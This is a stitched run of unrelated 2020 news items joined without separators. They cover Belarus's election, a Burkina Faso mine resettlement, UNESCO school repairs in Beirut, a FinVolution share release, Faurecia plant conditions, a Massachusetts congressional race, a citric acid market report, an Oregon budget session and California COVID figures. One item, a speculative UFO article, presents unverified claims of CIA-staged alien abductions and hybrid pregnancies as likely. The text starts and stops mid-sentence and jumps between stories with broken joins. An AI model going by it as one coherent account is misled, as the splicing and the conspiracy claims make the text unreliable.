are confident that only by means of dialogue the current situation can be resolved for the benefit of the people and the state of Belarus, the statement says. The diplomats noted that, if necessary, they are open for any assistance or good offices in facilitating this dialogue. The foreign ministers of the "Lublin Triangle" stressed that the well-being and prosperity of Belarus and its people are important for the entire Europe and specifically their region. We are all interested in continuing mutually beneficial dialogue as well as cooperation based upon democratic values and focused on creating conditions for a common and stable future, the ministers stressed. As reported, on August 9, presidential elections were held in Belarus. According to the preliminary results announced by the CEC, incumbent Belarusian President Alexander Lukashenko gained 80.23% of the vote, while the opposition candidate, Svetlana Tikhanovskaya, had 9.9%. She did not recognize the results and announced her readiness for long-term protests throughout Belarus. The announcement came after police broke up crowds of protesters with stun grenades and rubber bullets in Minsk and other cities on Sunday evening after an exit poll showed Lukashenko winning an overwhelming victory. Tikhanovskaya left Belarus and is safe in Lithuania. ish Orezone and Community Celebrate Beginning of RAP Relocation with Ceremonial Key Handover VANCOUVER, British Columbia, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Orezone Gold Corporation (TSX.V: ORE OTCQX: ORZCF) is pleased to announce that the Company has now commenced relocation of families into their new homes as part of the Phase I Resettlement Action Plan (RAP) at the Bombore Gold Project in Burkina Faso. Patrick Downey, President and CEO commented, "We are pleased that the relocation of families has now commenced and was marked by a ceremony that included the traditional handing over of the house keys to the local Chief of the Natinga village and the gift of a ceremonial tree from Orezone. The ceremony and move are a testament to the support of the local communities and the Government of Burkina Faso and represent a major milestone for the Company. The resettlement villages also include new community infrastructure such as schools, clinics, markets, mosques, churches and roads, and will form part of Orezones long term sustainable development programs throughout the life of the project and beyond. The Company has also recommenced site activities using local labour to complete the last 5% of Phase I RAP construction which was temporarily halted in late March 2020 as a safety measure to prevent the risk of COVID-19 transmission to local communities. Return of the Projects entire site-based workforce is anticipated over the coming weeks with final completion of Phase I RAP dwellings and relocation of families expected by early Q4 2020. The Company has also undertaken considerable planning in recent months in preparation for a rapid restart of project engineering, construction, and pre-production mining activities which will be facilitated by access to key areas of the mining lease made available by the Phase I RAP. Orezone Gold Corporation Orezone Gold Corporation (TSX.V: ORE OTCQX: ORZCF) is a Canadian development company which owns a 90% interest in Bombore, one of the largest undeveloped gold deposits in Burkina Faso. Story continues The 2019 feasibility study highlights Bombore as an attractive shovel-ready gold project with forecasted annual gold production of 118,000 ounces over a 13+ year mine life at an All-In Sustaining Cost of US$730/ounce with an after-tax payback period of 2.5 years at an assumed gold price of US$1,300/ounce. Bombore is underpinned by a mineral resource base in excess of 5 million ounces of gold and possesses significant expansion potential. Patrick Downey, President and Chief Executive Officer Vanessa Pickering Manager, Investor Relations Tel: 1 778 945 8977 / Toll Free: 1 888 673 0663 info@orezone.com / www.orezone.com For further information please contact Orezone at +1 (778) 945-8977 or visit the Companys website at www.orezone.com . Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Cautionary Note Regarding Forward-Looking Statements This press release contains certain information that may constitute forward-looking information under applicable Canadian securities legislation. Forward-looking information in this press release relates to statements with respect to the completion of Phase I RAP, relocation of families and the 2019 feasibility study including project financing, strategic plans, future operations, future work programs, capital expenditures, and corporate and technical objectives. Forward-looking information is necessarily based upon a number of assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking information, including the risks inherent to the recent COVID-19 pandemic, the mining industry, adverse economic and market developments and the risks identified in Orezones annual information form under the heading Risk Factors. There can be no assurance that such information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information. Accordingly, readers should not place undue reliance on forward-looking information. All forward-looking information contained in this press release is given as of the date hereof and is based upon the opinions and estimates of management and information available to management as at the date hereof. The Company disclaims any intention or obligation to update or revise any forward-looking information, whether as a result of new information, future events or otherwise, except as required by law. Source: Xinhua| 2020-08-11 21:08:08|Editor: huaxia Video Player Close BEIRUT, Aug. 11 (Xinhua) -- The United Nations Educational, Scientific and Cultural Organization (UNESCO) announced on Tuesday that it will undertake the rehabilitation of schools affected by Beirut's explosions. "The rehabilitation of schools affected by Beirut's explosions is one of the basic conditions for ensuring the continuation of primary and secondary education," said Hamad Bin Saif al-Hammami, director of the Beirut-based Regional Bureau of the UNESCO for Education in the Arab States, in a statement released by the agency. The statement said that Beirut's explosions resulted in enormous humanitarian and material damage. It added that the educational sector was one of the most affected, as the explosions caused partial or complete destruction of about 70 public schools and 50 private schools in Beirut and its suburbs. This threatens to disrupt the next academic year and deprive some 55,000 Lebanese and non-Lebanese students from education, the statement noted. Enditem IN BRIEF The Facts: In his book, "Forbidden Science 4," Dr. Jacques Valle explains how he came in possession documents showing that forced "UFO abductions" were conducted by the CIA as psychological warfare experiments. Reflect On: What type of technology would the CIA have to have in order to pull something like this off? The picture you see above is of Joseph Allen Hynek, American astronomer, professor, and ufologist. Hynek acted as scientific advisor to UFO studies undertaken by the U.S. Air Force under three consecutive projects: Project Sign (19471949), Project Grudge (19491952), and Project Blue Book (19521969). The man standing next to him is Dr. Jacques Vallee, more on him below. Throughout history, the field of ufology and the examination of the extraterrestrial hypothesis has, without a doubt, been overcome with a plethora of disinformation. Those who have dived into the depths of ufology know this best, as its well documented that outsiders from intelligence agencies and governments have infiltrated the field for the purposes of deceiving researchers and people who are interested in the topic for one simple reason, to keep them away from the truth. On top of these disinformation campaigns, which still seem to be in operation today, there has long been an official campaign of ridicule and secrecy (Roscoe Hillenkoetter, Ex CIA director) associated with the subject. This is why I encourage all those reading who dive into this subject to stick with facts, data, and evidence rather than entertain what seem to be outlandish claims that in no way, at all, can be verified. --> FREE Documentary Series: "Exhausted" explores how you can regain, restore and replenish the endless energy you thought you had lost forever. Click here to save your spot! Id like to draw your attention to Dr. Jacques Vallee, who holds a masters degree in astrophysics and a Ph.D. in computer science. The subject of UFOs first attracted his attention as an astronomer in Paris. He subsequently became a close associate of Project Blue Books J. Allen Hynek and has written several books on the UFO enigma. He is currently a venture capitalist living in San Francisco. Vallee co-developed the first computerized map of Mars for NASA in 1963. He later worked on the network information center for the ARPANET, a precursor to the modern Internet, as a staff engineer of SRI Internationals Augmentation Research Center under Douglas Engelbart. Hes a researcher thats had a very interesting life, to say the least, with regards to researching the topic of UFOs. Hes come into contact with and had meetings with most experts in the field, politicians from around the world, high ranking military personnel and much more. His journey into the subject has led him to investigate an uncountable amount of case reports regarding UFOs and supposed extraterrestrial beings, and hes been a major player with regards to bringing the mainstream scientific community forward to look at the evidence and data thats involved with such a serious subject, that, in his time, was largely ridiculed. He is an important reason why the phenomenon has gained as much credibility as it has today. Valle is one of many who have written about and documented the startling evidence that well-constructed hoaxes and media manipulations have misled UFO researchers, diverting them from the UFO phenomenon itself, whats really going on. In one of his latest books, Forbidden Science 4, he shares a record of his private study into unexplained phenomena between 1990 and the end of the millennium, during which he was traveling around the global pursuing his professional work as a high-technology investor. Its a bit of a diary, documenting his experiences and encounters/meetings as he tries to examine and explore the phenomenon. In an entry dated Thursday 26 March 1992, Valle writes: I have secured a document confirming that the CIA simulated UFO abductions in Latin America (Brazil and Argentina) as psychological warfare experiments. Reading this line from his book triggered me back to earlier in his book when he mentions one of many conversations hes had with Ron Blackburn. On Monday 16 April 1990, he writes: Over lunch again with Colonel Ron Blackburn (Air Force) at the Gatehouse in Palo Alto he revealed that the Secret Onion group started in 1985 in the classified tank located in his basement at the Lockheed Skunk Works. Colonel John Alexander had brought him a list of the people in the inner circle. They divided the world into layers of concentric trust and ability. John introduced Blackburn to Ed Dames. Blackburn and I have a firmed up our plants to ravel to New Mexico on May 4th, up the high mesa supposedly to meet some Aliens. Its interesting to note that Colonel John Alexander army writes about Blackburn in his book, UFOs, myths, conspiracies and realities. Among the people I met was Dr. Ron Blackburn, a retired U.S. Air Force lieutenant colonel who was then working at the Lockheed Skunk Works in Burbank. It was Blackburn who first asked me if I had ever heard of the infamous Area 51. In the early 1980s, this facility was still not widely known inside the military, let alone the general public, even though it had been functional for decadesAmong areas of common interest between Blackburn and me were UFOs. We discussed many possibilities related to who might be in charge of UFO research. We both thought that there was some organization, probably within the U.S. Air Force, which had the responsibility. But we acknowledged that whoever had the ball, there must be a an interagency effort as well. Our assumption was that somebody must be in charge, and we were well aware of all the prevailing stories and rumours. Roswell, we assumed, was a real UFO event. Fast forward to Friday, May 4th, 1990, Valle writes about Blackburn: Im convinced the government is working on UFOs, he told me. What are the chances some witnesses are being fooled by special effects developed by psychological warfare? I countered. Thinking of cases like Bentwaters in the UK or Cergy-Pontoise in France. Theyre pretty good, he admitted. Suppose you shine a week infrared laser into peoples eyes; it wont hurt them but may induce a hallucinatory state. Experiments have been done where you send a microwave beam through someones brain; you pick up the transmitted energy pattern. You can influence people this way, even make them hear things. Holograms have been used too, Its interesting to note the conversation Valle had with Blackburn in 1990, and then in 1992 writes that he had received a document that the CIA had been involved with staging UFO (alien abductions). Combine this information with Blackburn mentioning that holograms have been used, and technology exists to produce hallucinatory states. This is just one of many examples and pieces of evidence many researchers in the field point to suggesting that there are staged abductions happening for reasons unknown, and that its continuing today. Its not surprising either if youve ventured down the road of CIA mind controlled tactics, programs like MK ultra and their desire to manipulate the perception of the masses with regards to various topics. Its not surprising if youve looked into the black budget world, a world thats far more advanced that the mainstream world with regards to technology. Dr. David Jacobs, a retired university professor, is one of many experts who has hypnotically regressed people who claim to have had ET abduction experiences. After thousands of people, they all share the same story. Many filled with forced impregnation, and hybrid children, among other things. Could many of these forced abduction experiments simply be deep black projects that are being conducted by rogue government agencies? Now we know that yes, many of them could be. Are all of them? There are stories floating around out there without much evidence, like the idea that Eisenhower made a deal with certain extraterrestrial groups, that they could abduct a certain amount of humans for the exchange of technology. Based on the idea that that forced abductions may be military operations, this supposed meeting is called into question. Valle writes of Jacobs in his book: I am trying to read Jacobs Secret Life. The author appears obsessed with what he views as a massive Alien invasion, his analysis is no longer balanced. This may explain why there is a whole array of people who claim to have had experience with beings from somewhere else, but these experiences did not involve forced abductions, but rather, simple contact experiences. Remember, the key nuance here is were talking about human and ET contact, vs forced abductions which are often quite aggressive or terrifying for people. Ive written previously about the work of Jacobs, you can read that article here. Ive been in this field for more than a decade now and the more I learn, the more I have to unlearn and consider other possibilities. I wrote that article being aware that many abduction cases could be military operations, but I did not mention it. Ive come across the work of many who have interviewed abductees and, from their experiences, there also seems to be a military component as well, or a feeling of military personnel appearing as Aliens. How Deep Does The Misinformation Go? Richard Doty is also mentioned multiple times in Valles book. He is a retired Air Force Special investigations officer (AFSIO), and his job was to spread disinformation about the UFO subject during his time with the Air Force. Spreading disinformation about the reality of UFOs is no secret, and in Dotys case, he admitted to infiltrating UFO circles along with his colleagues to feed ufologists and journalists lies and half truths so that they would never understand any real truth. So, as you can see, this type of narrative has many interesting sources. You can read more about Doty and watch an interview with him here. Regardless, There Is Something Going On Here Valle, and all others in this field are quite aware that something real is going on, and something quite possibility extraterrestrial and inter-dimensional. This article is not meant to shed doubt on the phenomenon itself as well as the extraterrestrial hypothesis. Credible information with regards to sightings, crash retrieval, and possible bodies and contact experiences with aliens are out there and can be examined. That being said, there is obviously a lot of disinformation out there as well, ridiculous claims as well as charlatans who are in the field spreading lies and fake stories for the purposes of making money, or perhaps to do what Doty was once tasked with, to spread disinformation, are out there. With all that being said, the fact remains that: SHANGHAI, Aug. 11, 2020 /PRNewswire/ -- FinVolution Group ("FinVolution", or the "Company") (NYSE: FINV), a leading fintech platform in China, today announced that Mr. Shaofeng Gu, Chairman and Chief Innovation Officer of the Company has informed the Company that he has continued to purchase in his personal capacity 1.46 million of the Company's American Depositary Shares in the second quarter of 2020. The purchases were made during an open window period and in full compliance with all company and legal guidelines. Mr. Shaofeng Gu commented, "Despite the challenging start to the year, many of the uncertainties and challenges appear to be behind us. Credit risk performance on the Company's platform has not only stabilised but has improved to the lower-end of our vintage delinquency range over the past 2-3 years. We have successfully transitioned our platform from being primarily funded by individual investors to being fully funded by institutional funding partners. We continue to deeply believe that a technology-driven focus will enable the Company to better navigate through market dynamics and achieve sustainable development in the long-term. I believe the current share price undervalues the potential of the Company and serves as a highly attractive investment opportunity." As of June 30, 2020, Mr. Shaofeng Gu beneficially owned 412,257,375 ordinary shares, representing approximately 27.7% of ownership in the Company. Safe Harbor Statement This press release contains forward-looking statements. These statements constitute "forward-looking" statements within the meaning of Section 21E of the Securities Exchange Act of 1934, as amended, and as defined in the U.S. Private Securities Litigation Reform Act of 1995. These forward-looking statements can be identified by terminology such as "will," "expects," "anticipates," "future," "intends," "plans," "believes," "estimates," "target," "confident" and similar statements. Such statements are based upon management's current expectations and current market and operating conditions and relate to events that involve known or unknown risks, uncertainties and other factors, all of which are difficult to predict and many of which are beyond the Company's control. Forward-looking statements involve risks, uncertainties and other factors that could cause actual results to differ materially from those contained in any such statements. Potential risks and uncertainties include, but are not limited to, uncertainties as to the Company's ability to attract and retain borrowers and investors on its marketplace, its ability to increase volume of loans facilitated through the Company's marketplace, its ability to introduce new loan products and platform enhancements, its ability to compete effectively, laws, regulations and governmental policies relating to the online consumer finance industry in China, general economic conditions in China, and the Company's ability to meet the standards necessary to maintain listing of its ADSs on the NYSE, including its ability to cure any non-compliance with the NYSE's continued listing criteria. Further information regarding these and other risks, uncertainties or factors is included in the Company's filings with the U.S. Securities and Exchange Commission. All information provided in this press release is as of the date of this press release, and FinVolution does not undertake any obligation to update any forward-looking statement as a result of new information, future events or otherwise, except as required under applicable law. About FinVolution Group FinVolution Group is a leading fintech platform in China connecting underserved individual borrowers with financial institutions. Established in 2007, the Company is a pioneer in China's online consumer finance industry and has developed innovative technologies and has accumulated in-depth experience in the core areas of credit risk assessment, fraud detection, big data and artificial intelligence. The Company's platform, empowered by proprietary cutting-edge technologies, features a highly automated loan transaction process, which enables a superior user experience. As of March 31, 2020, the Company had over 108.3 million cumulative registered users. For more information, please visit http://ir.finvgroup.com For investor and media inquiries, please contact: In China: FinVolution Group Head of Investor Relations Jimmy Tan Tel: +86 (21) 8030 3200- Ext 8601 E-mail: [email protected] The Piacente Group, Inc. Jenny Cai Tel: +86 (10) 6508-0677 E-mail: [email protected] In the United States: The Piacente Group, Inc. Brandi Piacente Tel: +1-212-481-2050 E-mail: [email protected] SOURCE FinVolution Group Related Links http://ir.finvgroup.com COVID-19 continues to rage unchecked through the vast network of parts plants that supply the auto industry in North America. Workers confront not only the deadly virus, but also a sinister conspiracy of silence enforced by the companies and the unions that prevents them from knowing where the contagion strikes. Faurecia Gladstone Plant (Photo credit: Aaron Mayberry/Google Maps) A worker at the Faurecia factory in Columbus, Indiana, 45 miles south of the state capital Indianapolis, reported to the WSWS Autoworker Newsletter that a member of the cleaning crew responsible for maintaining sanitation at the facility had likely tested positive over the weekend and been sent home to quarantine for two weeks. The worst part is that workers in the plant are told nothing, and the company does next to nothing to protect them from infection. Production never stops. Nobody told us anything, he said. The plant wouldnt tell us. So we had to find out about the virus by word of mouth. The Autoworker Rank-and-File Safety Committee Network, which has been organized to unify workers independently of the unions and the companies in opposition to the dangerous return to work, issued a statement on Monday, Workers have a right to know about COVID-19 in their plants! Auto workers are being deprived of the most basic information about the spread of COVID-19 in their plants and workplaces, it states. We know the coronavirus is spreading in the factories, and the so-called safety measures arent stopping it. We see workers get sick on the line. We share what little information we can get using social media and word-of-mouth. A couple dozen people at our plant that I know of have had the coronavirus, the worker related. Faurecia just doesnt care. A lot of people have gotten hurt and are still getting hurt. OSHA [the Occupational Safety and Health Administration] has told them no, but Faurecia expects us to lift fixtures that weigh anywhere from 25 to 50 pounds. If you get hurt, Faurecia insists that they are not responsible. The company has exploited the COVID-19 crisis to intensify the pressure on workers and the rate of their exploitation. They laid off 50 people permanently and did not bring back over 200 others. Still they expect the same production from those of us that are left. They are basically asking for people to hurt themselves. At the end of March, the CARES Act passed unanimously by the Democrats and Republicans pumped $3 trillion into the stock market to support the market valuations of the major corporations and the accounts of the financial aristocracy who hold most of their shares. The government gave [Faurecia] money to keep employees, not to lay them off. Out of 200 lines they kept 22 running and those of us that were left had to work nonstop 12 hours a day, seven days a week. Faurecia put our families and everybody else at risk. They are really working us until we die. They do not care. They put on a big front, We are for family. I know a dozen families that have split up because of that place. They literally do not give anybody time to do anything with their family. A lot of people cant afford not to work, but they are forcing them to work 72 to 84 hours a week. The union does not help. Its the IBEW [the International Brotherhood of Electrical Workers]. I dont even have time off on Sunday. They said, Thats not our problem. I think its a crime. We are grossly understaffed. They did not bring back over 200 people. It is tearing people apart, literally. The medical staff is a sham, the worker said. They are not there to care for the workers; on the contrary, they protect the company from the financial liability of inflicting physical damage on the workers. A young woman collapsed in the plant from heat exhaustion and the company doctors told her that it was the result of a pre-existing medical condition. My heart goes out to the workers in Mexico, he said. I heard about the death of a worker at a Faurecia plant there. They just moved the body to the side and never stopped the line. They are playing God. A woman in my plant had her shoulder pulled out of the socket. Her husband was working the same shift. They made her wait until the shift was over so that he could take her to the hospital. HR tried to lie to OSHA. But they had signed statements from witnesses. The company did get fined but not enough to bother Faurecia. Three thousand dollars is not much to them. What about her and her suffering? The fines OSHA does issue represent pocket change for a multi-billion dollar corporation which can appeal the fines and have them dropped anyway. There have been roughly 40,000 complaints of unsafe conditions during the COVID-19 crisis and, as of last week, only four citations have been issued by OSHA. Those will likely be appealed and reduced or dropped altogether. It is criminal the way they treat people. And they are getting away with it. Our manager comes in the plant thumping his chest, saying we are a multi-billion dollar company worldwide. They are getting rid of people, running 12 hour shifts seven days a week, so instead of having four people to insure, they can cut it down to two. With 122,000 employees in 2019, Faurecia was the ninth-largest automotive parts manufacturer in the world and the number one for vehicle interiors and emission control equipment, with 17.8 billion ($20.9 billion) in sales in 2019. One in three automobiles is equipped by Faurecia, and the transnational auto giant PSA Group, set to merge with Fiat Chrysler, owns a majority stake in the company. People are telling me they are so tired theyre starting to fall asleep on the way to work. When I was driving home the other day I had to get out of my car. I was just so exhausted. These are horrendous conditions that we are working under. They have a multi-billion-dollar corporation, and they work us to death. Another worker described the brutal process of harassment the company uses to force workers who have been injured to quit. I had fallen and they kept giving me harder and harder jobs to do, he said. They knew this one supervisor harassed me. He even came by my house and followed me around inside the plant. I told him to stop following me. A bunch of people quit. It is brutal. I have been through a lot. They hounded me, they were horrible to me. They could get more parts if they took away the lift assist. So they took it away even though it was backbreaking lifting those parts all day. Its a nightmare. They took all the fans away. We know that Faurecia treated people poorly in different plants and in different countries. Once they used you up they want you to leave on your own. Once theyve used up your physical ability and your psychological ability, then youre worthless to them. The president of the local union admitted that he was behind me getting fired. He was a bully toward me in the interest of the company. The Massachusetts Nurses Association reaffirmed its support of Holyoke Mayor Alex B. Morse in his Democratic primary campaign for Congress against incumbent U.S. Rep. Richard E. Neal as the University of Massachusetts reviews Morses relationships with college students. In his statement, Alex said he supports and will participate in the UMass investigation because students have a right to their voices being heard and their concerns addressed, the union said in a statement Tuesday. The MNA echoes those comments. We welcome anyone coming forward with their experience and are open to learning more information. The statement went on to say that as health care professionals they are especially sensitive to these types of allegations and do not take them lightly. But the union also reiterated its reasons for supporting Morse. Alex Morse is a strong, progressive leader. His history as an elected official and his positions on legislation and policy empower working people. We know Alex will bring new energy to Washington, DC ,and establish a crucial connection between the center of American government and the people of Western Massachusetts, the statement said. Alex champions causes such as Medicare-for-All alongside MNA nurses and healthcare professionals. We stand with Alex Morse for Congress. Last week, College Democrats of Massachusetts and its affiliates at the University of Massachusetts Amherst and Amherst College said Morse used its events to meet young men and pursue romantic relationships with them. The organization said Morse had sexual relationships with college students, used social media and dating apps to contact students as young as 18, and that his position as mayor and as a UMass lecturer in political science intimidated students. Morse, 31, admitted relationships with college students and said he needs to pay better attention to the power dynamics involved. But he qualified his apology by saying he violated no university policy, has never had a nonconsensual relationship and that the scrutiny was part of a long history of homophobic attitudes. He also accused Neals campaign of orchestrating the revelations, in an interview with WAMC Northeast Public Radio. The Neal campaign said it did not, and that the College Democrats independently came forward. Morse released endorsers from their commitments. The Sunrise Western Mass Coalition said Monday its members have voted to rescind the groups endorsement of Morse in the Sept. 1 Democratic primary. Related Content: Citric Acid Market Research Report by Form (Liquid Form and Powder Form), by Application (Acidulant, Binding Agent, Cleaning Agent, and Preservative), by End User - Global Forecast to 2025 - Cumulative Impact of COVID-19 New York, Aug. 10, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Citric Acid Market Research Report by Form, by Application, by End User - Global Forecast to 2025 - Cumulative Impact of COVID-19" - https://www.reportlinker.com/p05913834/?utm_source=GNW The Global Citric Acid Market is expected to grow from USD 2,646.48 Million in 2019 to USD 3,596.40 Million by the end of 2025 at a Compound Annual Growth Rate (CAGR) of 5.24%. Market Segmentation & Coverage: This research report categorizes the Citric Acid to forecast the revenues and analyze the trends in each of the following sub-markets: Based on Form, the Citric Acid Market studied across Liquid Form and Powder Form. Based on Application, the Citric Acid Market studied across Acidulant, Binding Agent, Cleaning Agent, and Preservative. Based on End User, the Citric Acid Market studied across Animal Feed, Food & Beverages, Metal Finishing & Cleaning, Personal Care, and Pharmaceutical. Based on Geography, the Citric Acid Market studied across Americas, Asia-Pacific, and Europe, Middle East & Africa. The Americas region surveyed across Argentina, Brazil, Canada, Mexico, and United States. The Asia-Pacific region surveyed across Australia, China, India, Indonesia, Japan, Malaysia, Philippines, South Korea, and Thailand. The Europe, Middle East & Africa region surveyed across France, Germany, Italy, Netherlands, Qatar, Russia, Saudi Arabia, South Africa, Spain, United Arab Emirates, and United Kingdom. Company Usability Profiles: The report deeply explores the recent significant developments by the leading vendors and innovation profiles in the Global Citric Acid Market including Archer Daniels Midland Company, Cargill Inc., Delek Group, Gadot Biochemical Industries Ltd., HUANGSHI XINGHUA Biochemical Company Ltd., Jungbunzlauer Suisse AG, Pfizer Inc., RZBC Group Company Ltd., Shandong Juxian Hongde Citric Acid Company Ltd., Tate & Lyle PLC, and Weifang Ensign Industry Company Ltd.. FPNV Positioning Matrix: The FPNV Positioning Matrix evaluates and categorizes the vendors in the Citric Acid Market on the basis of Business Strategy (Business Growth, Industry Coverage, Financial Viability, and Channel Support) and Product Satisfaction (Value for Money, Ease of Use, Product Features, and Customer Support) that aids businesses in better decision making and understanding the competitive landscape. Competitive Strategic Window: The Competitive Strategic Window analyses the competitive landscape in terms of markets, applications, and geographies. The Competitive Strategic Window helps the vendor define an alignment or fit between their capabilities and opportunities for future growth prospects. During a forecast period, it defines the optimal or favorable fit for the vendors to adopt successive merger and acquisition strategies, geography expansion, research & development, and new product introduction strategies to execute further business expansion and growth. Cumulative Impact of COVID-19: COVID-19 is an incomparable global public health emergency that has affected almost every industry, so for and, the long-term effects projected to impact the industry growth during the forecast period. Our ongoing research amplifies our research framework to ensure the inclusion of underlaying COVID-19 issues and potential paths forward. The report is delivering insights on COVID-19 considering the changes in consumer behavior and demand, purchasing patterns, re-routing of the supply chain, dynamics of current market forces, and the significant interventions of governments. The updated study provides insights, analysis, estimations, and forecast, considering the COVID-19 impact on the market. The report provides insights on the following pointers: 1. Market Penetration: Provides comprehensive information on the market offered by the key players 2. Market Development: Provides in-depth information about lucrative emerging markets and analyzes the markets 3. Market Diversification: Provides detailed information about new product launches, untapped geographies, recent developments, and investments 4. Competitive Assessment & Intelligence: Provides an exhaustive assessment of market shares, strategies, products, and manufacturing capabilities of the leading players 5. Product Development & Innovation: Provides intelligent insights on future technologies, R&D activities, and new product developments The report answers questions such as: 1. What is the market size and forecast of the Global Citric Acid Market? 2. What are the inhibiting factors and impact of COVID-19 shaping the Global Citric Acid Market during the forecast period? 3. Which are the products/segments/applications/areas to invest in over the forecast period in the Global Citric Acid Market? 4. What is the competitive strategic window for opportunities in the Global Citric Acid Market? 5. What are the technology trends and regulatory frameworks in the Global Citric Acid Market? 6. What are the modes and strategic moves considered suitable for entering the Global Citric Acid Market? Read the full report: https://www.reportlinker.com/p05913834/?utm_source=GNW About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Story continues CONTACT: Clare: clare@reportlinker.com US: (339)-368-6001 Intl: +1 339-368-6001 Oregon lawmakers worked past 11 p.m. Monday to conclude a special session that grew tense and at times openly hostile in the Senate earlier in the evening. Lawmakers from the House and Senate passed a dozen bills to patch a $1 billion hole in the state budget, tighten restrictions on police and corrections officers use of force and help out-of-work and underemployed Oregonians. After hours of hearings and repeated delays in evening floor sessions, Senate President Peter Courtney announced around 7 p.m. that the Legislature would not finish its work Monday night. He had warned earlier in the evening that lawmakers whod been waiting all day to vote were getting increasingly grumpy. But the Senate resumed working bills at 8:45 p.m. Monday, raced through the work with little disruption and wrapped up at 10:20 p.m. Im glad its over, Courtney said in a statement, explaining that cutting the state budget is never a desired task. The House took until past 11 p.m. to pass all 11 substantive bills and passed the resolution to adjourn at 11:17 p.m. It was the second special session of the year, after lawmakers spent three days at the Capitol in June focused on police reform laws and a handful of other proposals left over from the regular session that abruptly ended with Republican walkouts. Many lawmakers have been itching to fix the budget for months, which they were poised to do before persistent widespread protests against police brutality toward Black people prompted leaders to tackle that first. With coronavirus infections still on the rise in Oregon, lawmakers once again wore masks and other face coverings and followed social distancing protocols while discussing and voting on bills. Legislative leaders also kept the Capitol closed to the public. That, along with the lack of opportunity for the public to testify during hearings Monday, prompted repeated complaints from Republicans and some Democrats throughout the day. Collectively, the budget bills lawmakers passed Monday will cut $362 million in general fund spending with most of the reductions to human services programs, according to a legislative analysis. Top budget writers have characterized many of the changes as relatively easy cuts to yet-to-launch programs and unfilled jobs. But, as Oregonians testified in recent public hearings, some existing much-needed programs stand to be gutted. Lawmakers voted overwhelmingly to pull $400 million from an education reserve fund and raid more than $200 million from accounts created to help pay down the states $24.5 billion public pension deficit , although a House floor vote on that plan drew an unusual mid-vote pause to let Republican House members talk amongst themselves. An assortment of other budget maneuvers allowed legislators to close the remainder of the budget shortfall, including using $56 million in federal coronavirus relief funds to pay for Oregon State Police troopers, according to legislative documents. One proposed cut lawmakers will not make at this time is closing a small prison near the southern coast, as top budget writers contemplated earlier this summer. That, along with the suggestion the state might close a second small prison in Lakeview, raised worries for rural lawmakers whose constituents depend on jobs at the facilities. Rep. Greg Smith, R-Heppner, implored his colleagues to balance the need to cut spending with the livelihoods of one of our most remote communities in Lake County and Sen. Betsy Johnson, D-Scappoose, said maintaining jobs is a humanitarian reason to keep prisons open. Lawmakers also did not cut or freeze state employees pay. Oregon is midway through a two-year cycle of cost-of-living and step increases that will raise pay for employees ranging from frontline workers to executives by as much as 15% at a cost of approximately $200 million. But as Johnson said in response to a question from a Republican senator, negotiating any pay change is solely the purview of Gov. Kate Brown. There was bad news for many public employees and some private sector workers earlier in the day, when Johnson joined Senate Republicans to block a proposal would have made it easier for certain school employees furloughed during the pandemic to qualify for unemployment benefits. Two other employment related bills did pass out of committee. Johnson said the bill focused on education employees, which would have allowed the state employment department to forgo adjudication of these employees claims, would make it difficult to explain to other people in her district waiting for jobless benefits why many public employees were allowed to jump to the front of the line. The governor reacted to the failure of the unemployment bill, which was a top priority for House Democrats including Speaker Tina Kotek of Portland, by issuing a press release excoriating Senate Republicans for blocking (a) commonsense fix to speed up unemployment benefits. Brown said nothing of Johnsons vote against the bill, even though Republicans could not have blocked it without the moderate Democrat. That pushed tensions in the Senate to the boiling point. Senate Republican Leader Fred Girod of Lyons said in a floor speech that the number of Republicans (who voted against the bill, two) equal the IQ of the governor, to which Courtney cautioned, That wasnt nice. The House easily passed a bill limiting police use of deadly force to instances where a person is at risk of serious injury or death and barring most use of chokeholds. No one spoke against it on the House floor, while members from both parties extolled the change as catching Oregon standards up to U.S. Supreme Court rulings from the 1980s. Just two House members, Jeff Barker, D-Aloha, and Carl Wilson, R-Grants Pass, voted no while 55 voted yes and three were excused. The bill passed the Senate 22 to 5, with three members excused. The no votes all came from Republicans: Senate Republican Leader Fred Girod of Stayton, Herman Baertschiger of Grants Pass, Dallas Heard of Roseburg, Dennis Linthicum of Klamath Falls and Chuck Thomsen of Hood River. Rep. Ron Nobel, a McMinnville Republican and former police chief said the new rules will raise professionalism in law enforcement and called them long overdue given high court rulings. Editor and reporter Betsy Hammond contributed to this report. -- Hillary Borrud; hborrud@oregonian.com; @hborrud Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. SPRINGFIELD A memorial event to commemorate the 93rd anniversary of the execution of Nicola Sacco and Bartolomeo Vanzetti is scheduled for Aug. 23 and will include speeches about the connection of their deaths and the current Black Lives Matter movement. The Hampden County Chapter of Massachusetts Citizens Against the Death Penalty marks the anniversary of the states execution of the two every year. Because of the COVID-19 pandemic, the event has been moved outside to the back lawn of Wesley United Methodist Church on 741 State St. It will begin at 2:30 p.m. and include speakers, food and music and there is plenty of free parking. Sacco and Vanzetti were Italian immigrants and self-described anarchists when they were found guilty of murder and armed robbery and put to death by the state in 1927. Both professed their innocence, their trials were considered a mockery of justice and scholars continue to have reasonable doubts about their guilt. Tracye Whitfield, a member of the Springfield City Council, will speak about her work with Black Lives Matter and relate the theme to the Sacco-Vanzetti executions. Northampton State Rep. Lindsay Sabadosa will also speak about her attempts at criminal justice reform. The event is held in part to build opposition to the death penalty and any efforts to restore it in Massachusetts. It is also being supported by Attorney John Fitzgerald and the Sisters of St. Joseph. The event is free and open to the public and participants must wear masks and maintain proper social distancing. Related content: The number of people hospitalized for COVID-19 has been declining in the Bay Area and statewide since late July, a promising sign that suggests the worst of the coronavirus surge may be over. Statewide, hospitalizations have fallen about 19% in the last two weeks, to 5,596 as of Sunday, Gov. Gavin Newsom said Monday. Similarly, the number of COVID patients in intensive care has also declined, down 13% to 1,727 during the same period. Those are both strong indicators that the epidemic surge that we experienced more than a month ago has now slowed down, said Dr. George Lemp, a retired University of California epidemiologist. At least were moving in the right direction in California. Newsom cautioned that it is too early to declare victory against the virus, calling the recent drop in hospitalizations an encouraging sign, but not the kind of stability, 